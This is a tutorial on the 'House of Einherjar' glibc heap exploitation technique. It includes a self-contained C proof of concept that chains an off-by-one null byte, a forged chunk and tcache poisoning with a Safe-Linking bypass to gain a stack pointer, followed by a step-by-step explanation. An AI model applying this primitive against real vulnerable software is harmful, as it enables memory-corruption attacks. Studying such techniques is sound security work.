glibc Allocator: House of Einherjar
Introduction
The “House of Einherjar” is a sophisticated heap exploitation technique that leverages an off-by-one null byte vulnerability. By writing a single null byte into the size field of the next chunk, an attacker can clear the PREV_INUSE bit. This tricks the allocator into believing that the previous chunk is free, even if it is not.
Prerequisites
- Off-by-one Null Byte: Ability to write a single null byte past a buffer, clearing the
PREV_INUSEbit of the next chunk. - Forged Metadata: Ability to write a fake
prev_sizefield in the user data of the preceding chunk. - Known Heap Address: Needed to forge a fake chunk inside the preceding chunk that passes the
unlinkcheck (P->fd->bk == PandP->bk->fd == P). - T-cache Exhaustion: On modern glibc, the t-cache for the target size must be full to trigger backward consolidation during
free().
Example Code
This PoC demonstrates the attack on glibc 2.32, using a null-byte overflow to trigger consolidation with a fake chunk on the heap, followed by tcache poisoning to gain control over a stack address.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
intptr_t stack_var[0x10];
intptr_t *target = NULL;
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
intptr_t *a = malloc(0x38);
// Forge fake chunk
a[0] = 0;
a[1] = 0x60;
a[2] = (size_t) a;
a[3] = (size_t) a;
uint8_t *b = (uint8_t *) malloc(0x28);
int real_b_size = malloc_usable_size(b);
uint8_t *c = (uint8_t *) malloc(0xf8);
// VULNERABILITY: Off-by-one null byte
b[real_b_size] = 0;
// Forge prev_size
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
a[1] = fake_size;
// Fill tcache
intptr_t *x[7];
for(int i=0; i<7; i++) x[i] = malloc(0xf8);
for(int i=0; i<7; i++) free(x[i]);
// Trigger backward consolidation
free(c);
intptr_t *d = malloc(0x158);
uint8_t *pad = malloc(0x28);
free(pad);
free(b);
// VULNERABILITY: Tcache Poisoning (overlapping chunk)
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);
malloc(0x28);
intptr_t *e = malloc(0x28);
assert(e == target);
return 0;
}Attack Flow Explained
1. Forging the Fake Chunk
The allocator performs an unlink operation on the “previous” chunk during backward consolidation. To pass modern unlink checks, the attacker must ensure that P->fd->bk == P and P->bk->fd == P. In the PoC, this is achieved by pointing the fake chunk’s fd and bk back to its own address.
2. The Off-By-One Null Byte
By writing a null byte into the size field of chunk c, we clear the PREV_INUSE bit. This is the core primitive. Because chunk sizes are typically multiples of 0x10 or 0x8, the least significant byte is often 0x00 or 0x01. Overwriting 0x101 with 0x00 effectively turns it into 0x100.
3. Forging prev_size
When c is freed, the allocator sees PREV_INUSE == 0 and looks at the prev_size field (which is the last 8 bytes of chunk b’s user data) to find the start of the previous chunk. We forge this value such that c - prev_size points exactly to our fake chunk a.
4. Consolidation
Upon free(c), the allocator:
- Calculates
target = c - forged_prev_size(which isa). - Performs
unlink(a)(which passes because of our setup in Step 1). - Creates a new massive chunk starting at
aand ending atc + size(c).
5. Overlapping and Control
Because the new large chunk overlaps with the still-allocated chunk b, an attacker can request the large chunk back (d = malloc(...)) and then use the overlap to overwrite b’s metadata. In the PoC, this is used to perform tcache poisoning, pointing b->next to a stack address, allowing a subsequent malloc to return a pointer to the stack.
Modern Mitigations
Since glibc 2.32, Safe-Linking was introduced. Pointers in tcache and fastbins are now XORed with their own address (shifted 12 bits) to prevent simple overwrites. Exploiting this now requires a heap leak to correctly calculate the encoded pointer value, as demonstrated in the PoC: d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);